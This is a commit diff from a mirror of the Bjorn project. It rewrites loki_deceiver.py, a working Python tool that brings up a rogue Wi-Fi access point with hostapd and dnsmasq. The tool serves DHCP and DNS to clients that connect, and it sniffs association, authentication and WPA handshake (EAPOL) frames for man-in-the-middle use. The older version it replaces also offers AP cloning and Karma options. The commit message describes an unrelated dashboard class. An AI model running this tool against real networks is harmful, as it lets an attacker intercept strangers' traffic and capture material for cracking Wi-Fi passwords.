mirror of
https://github.com/infinition/Bjorn.git
synced 2026-03-09 14:12:00 +00:00
Add RLUtils class for managing RL/AI dashboard endpoints
- Implemented methods for fetching AI stats, training history, and recent experiences. - Added functionality to set operation mode (MANUAL, AUTO, AI) with appropriate handling. - Included helper methods for querying the database and sending JSON responses. - Integrated model metadata extraction for visualization purposes.
This commit is contained in:
@@ -1,467 +1,257 @@
|
||||
# WiFi deception tool for creating malicious access points and capturing authentications.
|
||||
# Saves settings in `/home/bjorn/.settings_bjorn/loki_deceiver_settings.json`.
|
||||
# Automatically loads saved settings if arguments are not provided.
|
||||
# -i, --interface Wireless interface for AP creation (default: wlan0).
|
||||
# -s, --ssid SSID for the fake access point (or target to clone).
|
||||
# -c, --channel WiFi channel (default: 6).
|
||||
# -p, --password Optional password for WPA2 AP.
|
||||
# -o, --output Output directory (default: /home/bjorn/Bjorn/data/output/wifi).
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
loki_deceiver.py -- WiFi deception tool for BJORN.
|
||||
Creates rogue access points and captures authentications/handshakes.
|
||||
Requires: hostapd, dnsmasq, airmon-ng.
|
||||
"""
|
||||
|
||||
import os
|
||||
import json
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
import logging
|
||||
import subprocess
|
||||
import signal
|
||||
import time
|
||||
import threading
|
||||
import scapy.all as scapy
|
||||
from scapy.layers.dot11 import Dot11, Dot11Beacon, Dot11Elt
|
||||
import time
|
||||
import re
|
||||
import datetime
|
||||
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
from logger import Logger
|
||||
try:
|
||||
import scapy.all as scapy
|
||||
from scapy.layers.dot11 import Dot11, Dot11Beacon, Dot11Elt
|
||||
HAS_SCAPY = True
|
||||
try:
|
||||
from scapy.all import AsyncSniffer # type: ignore
|
||||
except Exception:
|
||||
AsyncSniffer = None
|
||||
try:
|
||||
from scapy.layers.dot11 import EAPOL
|
||||
except ImportError:
|
||||
EAPOL = None
|
||||
except ImportError:
|
||||
HAS_SCAPY = False
|
||||
scapy = None
|
||||
Dot11 = Dot11Beacon = Dot11Elt = EAPOL = None
|
||||
AsyncSniffer = None
|
||||
|
||||
logger = Logger(name="loki_deceiver.py")
|
||||
|
||||
# -------------------- Action metadata --------------------
|
||||
b_class = "LokiDeceiver"
|
||||
b_module = "loki_deceiver"
|
||||
b_enabled = 0
|
||||
b_status = "loki_deceiver"
|
||||
b_port = None
|
||||
b_service = "[]"
|
||||
b_trigger = "on_start"
|
||||
b_parent = None
|
||||
b_action = "aggressive"
|
||||
b_priority = 20
|
||||
b_cooldown = 0
|
||||
b_rate_limit = None
|
||||
b_timeout = 1200
|
||||
b_max_retries = 1
|
||||
b_stealth_level = 2 # Very noisy (Rogue AP)
|
||||
b_risk_level = "high"
|
||||
b_enabled = 1
|
||||
b_tags = ["wifi", "ap", "rogue", "mitm"]
|
||||
b_category = "exploitation"
|
||||
b_name = "Loki Deceiver"
|
||||
b_description = "Creates a rogue access point to capture WiFi authentications and perform MITM."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.2"
|
||||
b_icon = "LokiDeceiver.png"
|
||||
|
||||
# Configure logging
|
||||
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
|
||||
|
||||
# Default settings
|
||||
DEFAULT_OUTPUT_DIR = "/home/bjorn/Bjorn/data/output/wifi"
|
||||
DEFAULT_SETTINGS_DIR = "/home/bjorn/.settings_bjorn"
|
||||
SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "loki_deceiver_settings.json")
|
||||
b_args = {
|
||||
"interface": {
|
||||
"type": "text",
|
||||
"label": "Wireless Interface",
|
||||
"default": "wlan0"
|
||||
},
|
||||
"ssid": {
|
||||
"type": "text",
|
||||
"label": "AP SSID",
|
||||
"default": "Bjorn_Free_WiFi"
|
||||
},
|
||||
"channel": {
|
||||
"type": "number",
|
||||
"label": "Channel",
|
||||
"min": 1,
|
||||
"max": 14,
|
||||
"default": 6
|
||||
},
|
||||
"password": {
|
||||
"type": "text",
|
||||
"label": "WPA2 Password (Optional)",
|
||||
"default": ""
|
||||
}
|
||||
}
|
||||
|
||||
class LokiDeceiver:
|
||||
def __init__(self, interface, ssid, channel=6, password=None, output_dir=DEFAULT_OUTPUT_DIR):
|
||||
self.interface = interface
|
||||
self.ssid = ssid
|
||||
self.channel = channel
|
||||
self.password = password
|
||||
self.output_dir = output_dir
|
||||
|
||||
self.original_mac = None
|
||||
self.captured_handshakes = []
|
||||
self.captured_credentials = []
|
||||
self.active = False
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
self.hostapd_proc = None
|
||||
self.dnsmasq_proc = None
|
||||
self.tcpdump_proc = None
|
||||
self._sniffer = None
|
||||
self.active_clients = set()
|
||||
self.stop_event = threading.Event()
|
||||
self.lock = threading.Lock()
|
||||
|
||||
def setup_interface(self):
|
||||
"""Configure wireless interface for AP mode."""
|
||||
try:
|
||||
# Kill potentially interfering processes
|
||||
subprocess.run(['sudo', 'airmon-ng', 'check', 'kill'],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
|
||||
# Stop NetworkManager
|
||||
subprocess.run(['sudo', 'systemctl', 'stop', 'NetworkManager'],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
|
||||
# Save original MAC
|
||||
self.original_mac = self.get_interface_mac()
|
||||
|
||||
# Enable monitor mode
|
||||
subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'down'],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
subprocess.run(['sudo', 'iw', self.interface, 'set', 'monitor', 'none'],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'up'],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
|
||||
logging.info(f"Interface {self.interface} configured in monitor mode")
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to setup interface: {e}")
|
||||
return False
|
||||
def _setup_monitor_mode(self, iface: str):
|
||||
logger.info(f"LokiDeceiver: Setting {iface} to monitor mode...")
|
||||
subprocess.run(['sudo', 'airmon-ng', 'check', 'kill'], capture_output=True)
|
||||
subprocess.run(['sudo', 'ip', 'link', 'set', iface, 'down'], capture_output=True)
|
||||
subprocess.run(['sudo', 'iw', iface, 'set', 'type', 'monitor'], capture_output=True)
|
||||
subprocess.run(['sudo', 'ip', 'link', 'set', iface, 'up'], capture_output=True)
|
||||
|
||||
def get_interface_mac(self):
|
||||
"""Get the MAC address of the wireless interface."""
|
||||
try:
|
||||
result = subprocess.run(['ip', 'link', 'show', self.interface],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
|
||||
if result.returncode == 0:
|
||||
mac = re.search(r'link/ether ([0-9a-f:]{17})', result.stdout)
|
||||
if mac:
|
||||
return mac.group(1)
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to get interface MAC: {e}")
|
||||
return None
|
||||
def _create_configs(self, iface, ssid, channel, password):
|
||||
# hostapd.conf
|
||||
h_conf = [
|
||||
f'interface={iface}',
|
||||
'driver=nl80211',
|
||||
f'ssid={ssid}',
|
||||
'hw_mode=g',
|
||||
f'channel={channel}',
|
||||
'macaddr_acl=0',
|
||||
'ignore_broadcast_ssid=0'
|
||||
]
|
||||
if password:
|
||||
h_conf.extend([
|
||||
'auth_algs=1',
|
||||
'wpa=2',
|
||||
f'wpa_passphrase={password}',
|
||||
'wpa_key_mgmt=WPA-PSK',
|
||||
'wpa_pairwise=CCMP',
|
||||
'rsn_pairwise=CCMP'
|
||||
])
|
||||
|
||||
h_path = '/tmp/bjorn_hostapd.conf'
|
||||
with open(h_path, 'w') as f:
|
||||
f.write('\n'.join(h_conf))
|
||||
|
||||
def create_ap_config(self):
|
||||
"""Create configuration for hostapd."""
|
||||
try:
|
||||
config = [
|
||||
'interface=' + self.interface,
|
||||
'driver=nl80211',
|
||||
'ssid=' + self.ssid,
|
||||
'hw_mode=g',
|
||||
'channel=' + str(self.channel),
|
||||
'macaddr_acl=0',
|
||||
'ignore_broadcast_ssid=0'
|
||||
]
|
||||
|
||||
if self.password:
|
||||
config.extend([
|
||||
'auth_algs=1',
|
||||
'wpa=2',
|
||||
'wpa_passphrase=' + self.password,
|
||||
'wpa_key_mgmt=WPA-PSK',
|
||||
'wpa_pairwise=CCMP',
|
||||
'rsn_pairwise=CCMP'
|
||||
])
|
||||
|
||||
config_path = '/tmp/hostapd.conf'
|
||||
with open(config_path, 'w') as f:
|
||||
f.write('\n'.join(config))
|
||||
|
||||
return config_path
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to create AP config: {e}")
|
||||
return None
|
||||
# dnsmasq.conf
|
||||
d_conf = [
|
||||
f'interface={iface}',
|
||||
'dhcp-range=192.168.1.10,192.168.1.100,255.255.255.0,12h',
|
||||
'dhcp-option=3,192.168.1.1',
|
||||
'dhcp-option=6,192.168.1.1',
|
||||
'server=8.8.8.8',
|
||||
'log-queries',
|
||||
'log-dhcp'
|
||||
]
|
||||
d_path = '/tmp/bjorn_dnsmasq.conf'
|
||||
with open(d_path, 'w') as f:
|
||||
f.write('\n'.join(d_conf))
|
||||
|
||||
return h_path, d_path
|
||||
|
||||
def setup_dhcp(self):
|
||||
"""Configure DHCP server using dnsmasq."""
|
||||
try:
|
||||
config = [
|
||||
'interface=' + self.interface,
|
||||
'dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h',
|
||||
'dhcp-option=3,192.168.1.1',
|
||||
'dhcp-option=6,192.168.1.1',
|
||||
'server=8.8.8.8',
|
||||
'log-queries',
|
||||
'log-dhcp'
|
||||
]
|
||||
|
||||
config_path = '/tmp/dnsmasq.conf'
|
||||
with open(config_path, 'w') as f:
|
||||
f.write('\n'.join(config))
|
||||
|
||||
# Configure interface IP
|
||||
subprocess.run(['sudo', 'ifconfig', self.interface, '192.168.1.1', 'netmask', '255.255.255.0'],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
|
||||
return config_path
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to setup DHCP: {e}")
|
||||
return None
|
||||
|
||||
def start_ap(self):
|
||||
"""Start the fake access point."""
|
||||
try:
|
||||
if not self.setup_interface():
|
||||
return False
|
||||
|
||||
hostapd_config = self.create_ap_config()
|
||||
dhcp_config = self.setup_dhcp()
|
||||
|
||||
if not hostapd_config or not dhcp_config:
|
||||
return False
|
||||
|
||||
# Start hostapd
|
||||
self.hostapd_process = subprocess.Popen(
|
||||
['sudo', 'hostapd', hostapd_config],
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE
|
||||
)
|
||||
|
||||
# Start dnsmasq
|
||||
self.dnsmasq_process = subprocess.Popen(
|
||||
['sudo', 'dnsmasq', '-C', dhcp_config],
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE
|
||||
)
|
||||
|
||||
self.active = True
|
||||
logging.info(f"Access point {self.ssid} started on channel {self.channel}")
|
||||
|
||||
# Start packet capture
|
||||
self.start_capture()
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to start AP: {e}")
|
||||
return False
|
||||
|
||||
def start_capture(self):
|
||||
"""Start capturing wireless traffic."""
|
||||
try:
|
||||
# Start tcpdump for capturing handshakes
|
||||
handshake_path = os.path.join(self.output_dir, 'handshakes')
|
||||
os.makedirs(handshake_path, exist_ok=True)
|
||||
|
||||
timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
|
||||
pcap_file = os.path.join(handshake_path, f"capture_{timestamp}.pcap")
|
||||
|
||||
self.tcpdump_process = subprocess.Popen(
|
||||
['sudo', 'tcpdump', '-i', self.interface, '-w', pcap_file],
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE
|
||||
)
|
||||
|
||||
# Start sniffing in a separate thread
|
||||
self.sniffer_thread = threading.Thread(target=self.packet_sniffer)
|
||||
self.sniffer_thread.start()
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to start capture: {e}")
|
||||
|
||||
def packet_sniffer(self):
|
||||
"""Sniff and process packets."""
|
||||
try:
|
||||
scapy.sniff(iface=self.interface, prn=self.process_packet, store=0,
|
||||
stop_filter=lambda p: not self.active)
|
||||
except Exception as e:
|
||||
logging.error(f"Sniffer error: {e}")
|
||||
|
||||
def process_packet(self, packet):
|
||||
"""Process captured packets."""
|
||||
try:
|
||||
if packet.haslayer(Dot11):
|
||||
# Process authentication attempts
|
||||
if packet.type == 0 and packet.subtype == 11: # Authentication
|
||||
self.process_auth(packet)
|
||||
|
||||
# Process association requests
|
||||
elif packet.type == 0 and packet.subtype == 0: # Association request
|
||||
self.process_assoc(packet)
|
||||
|
||||
# Process EAPOL packets for handshakes
|
||||
elif packet.haslayer(EAPOL):
|
||||
self.process_handshake(packet)
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Error processing packet: {e}")
|
||||
|
||||
def process_auth(self, packet):
|
||||
"""Process authentication packets."""
|
||||
try:
|
||||
if packet.addr2: # Source MAC
|
||||
with self.lock:
|
||||
self.captured_credentials.append({
|
||||
'type': 'auth',
|
||||
'mac': packet.addr2,
|
||||
'timestamp': datetime.now().isoformat()
|
||||
})
|
||||
except Exception as e:
|
||||
logging.error(f"Error processing auth packet: {e}")
|
||||
|
||||
def process_assoc(self, packet):
|
||||
"""Process association packets."""
|
||||
try:
|
||||
if packet.addr2: # Source MAC
|
||||
with self.lock:
|
||||
self.captured_credentials.append({
|
||||
'type': 'assoc',
|
||||
'mac': packet.addr2,
|
||||
'timestamp': datetime.now().isoformat()
|
||||
})
|
||||
except Exception as e:
|
||||
logging.error(f"Error processing assoc packet: {e}")
|
||||
|
||||
def process_handshake(self, packet):
|
||||
"""Process EAPOL packets for handshakes."""
|
||||
try:
|
||||
if packet.addr2: # Source MAC
|
||||
with self.lock:
|
||||
self.captured_handshakes.append({
|
||||
'mac': packet.addr2,
|
||||
'timestamp': datetime.now().isoformat()
|
||||
})
|
||||
except Exception as e:
|
||||
logging.error(f"Error processing handshake packet: {e}")
|
||||
|
||||
def save_results(self):
|
||||
"""Save captured data to JSON files."""
|
||||
try:
|
||||
os.makedirs(self.output_dir, exist_ok=True)
|
||||
timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
|
||||
|
||||
results = {
|
||||
'ap_info': {
|
||||
'ssid': self.ssid,
|
||||
'channel': self.channel,
|
||||
'interface': self.interface
|
||||
},
|
||||
'credentials': self.captured_credentials,
|
||||
'handshakes': self.captured_handshakes
|
||||
}
|
||||
|
||||
output_file = os.path.join(self.output_dir, f"results_{timestamp}.json")
|
||||
with open(output_file, 'w') as f:
|
||||
json.dump(results, f, indent=4)
|
||||
|
||||
logging.info(f"Results saved to {output_file}")
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to save results: {e}")
|
||||
|
||||
def cleanup(self):
|
||||
"""Clean up resources and restore interface."""
|
||||
try:
|
||||
self.active = False
|
||||
|
||||
# Stop processes
|
||||
for process in [self.hostapd_process, self.dnsmasq_process, self.tcpdump_process]:
|
||||
if process:
|
||||
process.terminate()
|
||||
process.wait()
|
||||
|
||||
# Restore interface
|
||||
if self.original_mac:
|
||||
subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'down'],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
subprocess.run(['sudo', 'iw', self.interface, 'set', 'type', 'managed'],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'up'],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
|
||||
# Restart NetworkManager
|
||||
subprocess.run(['sudo', 'systemctl', 'start', 'NetworkManager'],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
|
||||
logging.info("Cleanup completed")
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Error during cleanup: {e}")
|
||||
|
||||
def save_settings(interface, ssid, channel, password, output_dir):
|
||||
"""Save settings to JSON file."""
|
||||
try:
|
||||
os.makedirs(DEFAULT_SETTINGS_DIR, exist_ok=True)
|
||||
settings = {
|
||||
"interface": interface,
|
||||
"ssid": ssid,
|
||||
"channel": channel,
|
||||
"password": password,
|
||||
"output_dir": output_dir
|
||||
}
|
||||
with open(SETTINGS_FILE, 'w') as f:
|
||||
json.dump(settings, f)
|
||||
logging.info(f"Settings saved to {SETTINGS_FILE}")
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to save settings: {e}")
|
||||
|
||||
def load_settings():
|
||||
"""Load settings from JSON file."""
|
||||
if os.path.exists(SETTINGS_FILE):
|
||||
try:
|
||||
with open(SETTINGS_FILE, 'r') as f:
|
||||
return json.load(f)
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to load settings: {e}")
|
||||
return {}
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="WiFi deception tool")
|
||||
parser.add_argument("-i", "--interface", default="wlan0", help="Wireless interface")
|
||||
parser.add_argument("-s", "--ssid", help="SSID for fake AP")
|
||||
parser.add_argument("-c", "--channel", type=int, default=6, help="WiFi channel")
|
||||
parser.add_argument("-p", "--password", help="WPA2 password")
|
||||
parser.add_argument("-o", "--output", default=DEFAULT_OUTPUT_DIR, help="Output directory")
|
||||
|
||||
# Honeypot options
|
||||
parser.add_argument("--captive-portal", action="store_true", help="Enable captive portal")
|
||||
parser.add_argument("--clone-ap", help="SSID to clone and impersonate")
|
||||
parser.add_argument("--karma", action="store_true", help="Enable Karma attack mode")
|
||||
|
||||
# Advanced options
|
||||
parser.add_argument("--beacon-interval", type=int, default=100, help="Beacon interval in ms")
|
||||
parser.add_argument("--max-clients", type=int, default=10, help="Maximum number of clients")
|
||||
parser.add_argument("--timeout", type=int, help="Runtime duration in seconds")
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
settings = load_settings()
|
||||
interface = args.interface or settings.get("interface")
|
||||
ssid = args.ssid or settings.get("ssid")
|
||||
channel = args.channel or settings.get("channel")
|
||||
password = args.password or settings.get("password")
|
||||
output_dir = args.output or settings.get("output_dir")
|
||||
|
||||
# Load advanced settings
|
||||
captive_portal = args.captive_portal or settings.get("captive_portal", False)
|
||||
clone_ap = args.clone_ap or settings.get("clone_ap")
|
||||
karma = args.karma or settings.get("karma", False)
|
||||
beacon_interval = args.beacon_interval or settings.get("beacon_interval", 100)
|
||||
max_clients = args.max_clients or settings.get("max_clients", 10)
|
||||
timeout = args.timeout or settings.get("timeout")
|
||||
|
||||
if not interface:
|
||||
logging.error("Interface is required. Use -i or save it in settings")
|
||||
return
|
||||
|
||||
# Clone AP if requested
|
||||
if clone_ap:
|
||||
logging.info(f"Attempting to clone AP: {clone_ap}")
|
||||
clone_info = scan_for_ap(interface, clone_ap)
|
||||
if clone_info:
|
||||
ssid = clone_info['ssid']
|
||||
channel = clone_info['channel']
|
||||
logging.info(f"Successfully cloned AP settings: {ssid} on channel {channel}")
|
||||
else:
|
||||
logging.error(f"Failed to find AP to clone: {clone_ap}")
|
||||
def _packet_callback(self, packet):
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return
|
||||
|
||||
# Save all settings
|
||||
save_settings(
|
||||
interface=interface,
|
||||
ssid=ssid,
|
||||
channel=channel,
|
||||
password=password,
|
||||
output_dir=output_dir,
|
||||
captive_portal=captive_portal,
|
||||
clone_ap=clone_ap,
|
||||
karma=karma,
|
||||
beacon_interval=beacon_interval,
|
||||
max_clients=max_clients,
|
||||
timeout=timeout
|
||||
)
|
||||
|
||||
# Create and configure deceiver
|
||||
deceiver = LokiDeceiver(
|
||||
interface=interface,
|
||||
ssid=ssid,
|
||||
channel=channel,
|
||||
password=password,
|
||||
output_dir=output_dir,
|
||||
captive_portal=captive_portal,
|
||||
karma=karma,
|
||||
beacon_interval=beacon_interval,
|
||||
max_clients=max_clients
|
||||
)
|
||||
|
||||
try:
|
||||
# Start the deception
|
||||
if deceiver.start():
|
||||
logging.info(f"Access point {ssid} started on channel {channel}")
|
||||
if packet.haslayer(Dot11):
|
||||
addr2 = packet.addr2 # Source MAC
|
||||
if addr2 and addr2 not in self.active_clients:
|
||||
# Association request or Auth
|
||||
if packet.type == 0 and packet.subtype in [0, 11]:
|
||||
with self.lock:
|
||||
self.active_clients.add(addr2)
|
||||
logger.success(f"LokiDeceiver: New client detected: {addr2}")
|
||||
self.shared_data.log_milestone(b_class, "ClientConnected", f"MAC: {addr2}")
|
||||
|
||||
if timeout:
|
||||
logging.info(f"Running for {timeout} seconds")
|
||||
time.sleep(timeout)
|
||||
deceiver.stop()
|
||||
else:
|
||||
logging.info("Press Ctrl+C to stop")
|
||||
while True:
|
||||
time.sleep(1)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
logging.info("Stopping Loki Deceiver...")
|
||||
except Exception as e:
|
||||
logging.error(f"Unexpected error: {e}")
|
||||
finally:
|
||||
deceiver.stop()
|
||||
logging.info("Cleanup completed")
|
||||
if EAPOL and packet.haslayer(EAPOL):
|
||||
logger.success(f"LokiDeceiver: EAPOL packet captured from {addr2}")
|
||||
self.shared_data.log_milestone(b_class, "Handshake", f"EAPOL from {addr2}")
|
||||
|
||||
def execute(self, ip, port, row, status_key) -> str:
|
||||
iface = getattr(self.shared_data, "loki_deceiver_interface", "wlan0")
|
||||
ssid = getattr(self.shared_data, "loki_deceiver_ssid", "Bjorn_AP")
|
||||
channel = int(getattr(self.shared_data, "loki_deceiver_channel", 6))
|
||||
password = getattr(self.shared_data, "loki_deceiver_password", "")
|
||||
timeout = int(getattr(self.shared_data, "loki_deceiver_timeout", 600))
|
||||
output_dir = getattr(self.shared_data, "loki_deceiver_output", "/home/bjorn/Bjorn/data/output/wifi")
|
||||
|
||||
logger.info(f"LokiDeceiver: Starting Rogue AP '{ssid}' on {iface}")
|
||||
self.shared_data.log_milestone(b_class, "Startup", f"Creating AP: {ssid}")
|
||||
|
||||
try:
|
||||
self.stop_event.clear()
|
||||
# self._setup_monitor_mode(iface) # Optional depending on driver
|
||||
h_path, d_path = self._create_configs(iface, ssid, channel, password)
|
||||
|
||||
# Set IP for interface
|
||||
subprocess.run(['sudo', 'ifconfig', iface, '192.168.1.1', 'netmask', '255.255.255.0'], capture_output=True)
|
||||
|
||||
# Start processes
|
||||
# Use DEVNULL to avoid blocking on unread PIPE buffers.
|
||||
self.hostapd_proc = subprocess.Popen(
|
||||
['sudo', 'hostapd', h_path],
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.DEVNULL,
|
||||
)
|
||||
self.dnsmasq_proc = subprocess.Popen(
|
||||
['sudo', 'dnsmasq', '-C', d_path, '-k'],
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.DEVNULL,
|
||||
)
|
||||
|
||||
# Start sniffer (must be stoppable to avoid leaking daemon threads).
|
||||
if HAS_SCAPY and scapy and AsyncSniffer:
|
||||
try:
|
||||
self._sniffer = AsyncSniffer(iface=iface, prn=self._packet_callback, store=False)
|
||||
self._sniffer.start()
|
||||
except Exception as sn_e:
|
||||
logger.warning(f"LokiDeceiver: sniffer start failed: {sn_e}")
|
||||
self._sniffer = None
|
||||
|
||||
start_time = time.time()
|
||||
while time.time() - start_time < timeout:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
break
|
||||
|
||||
# Check if procs still alive
|
||||
if self.hostapd_proc.poll() is not None:
|
||||
logger.error("LokiDeceiver: hostapd crashed.")
|
||||
break
|
||||
|
||||
# Progress report
|
||||
elapsed = int(time.time() - start_time)
|
||||
prog = int((elapsed / timeout) * 100)
|
||||
self.shared_data.bjorn_progress = f"{prog}%"
|
||||
|
||||
if elapsed % 60 == 0:
|
||||
self.shared_data.log_milestone(b_class, "Status", f"Uptime: {elapsed}s | Clients: {len(self.active_clients)}")
|
||||
|
||||
time.sleep(2)
|
||||
|
||||
logger.info("LokiDeceiver: Stopping AP.")
|
||||
self.shared_data.log_milestone(b_class, "Shutdown", "Stopping Rogue AP")
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"LokiDeceiver error: {e}")
|
||||
return "failed"
|
||||
finally:
|
||||
self.stop_event.set()
|
||||
if self._sniffer is not None:
|
||||
try:
|
||||
self._sniffer.stop()
|
||||
except Exception:
|
||||
pass
|
||||
self._sniffer = None
|
||||
|
||||
# Cleanup
|
||||
for p in [self.hostapd_proc, self.dnsmasq_proc]:
|
||||
if p:
|
||||
try: p.terminate(); p.wait(timeout=5)
|
||||
except: pass
|
||||
|
||||
# Restore NetworkManager if needed (custom logic based on usage)
|
||||
# subprocess.run(['sudo', 'systemctl', 'start', 'NetworkManager'], capture_output=True)
|
||||
|
||||
return "success"
|
||||
|
||||
if __name__ == "__main__":
|
||||
# Set process niceness to high priority
|
||||
try:
|
||||
os.nice(-10)
|
||||
except:
|
||||
logging.warning("Failed to set process priority. Running with default priority.")
|
||||
|
||||
# Start main function
|
||||
main()
|
||||
from init_shared import shared_data
|
||||
loki = LokiDeceiver(shared_data)
|
||||
loki.execute("0.0.0.0", None, {}, "loki_deceiver")
|
||||
|
||||
Reference in New Issue
Block a user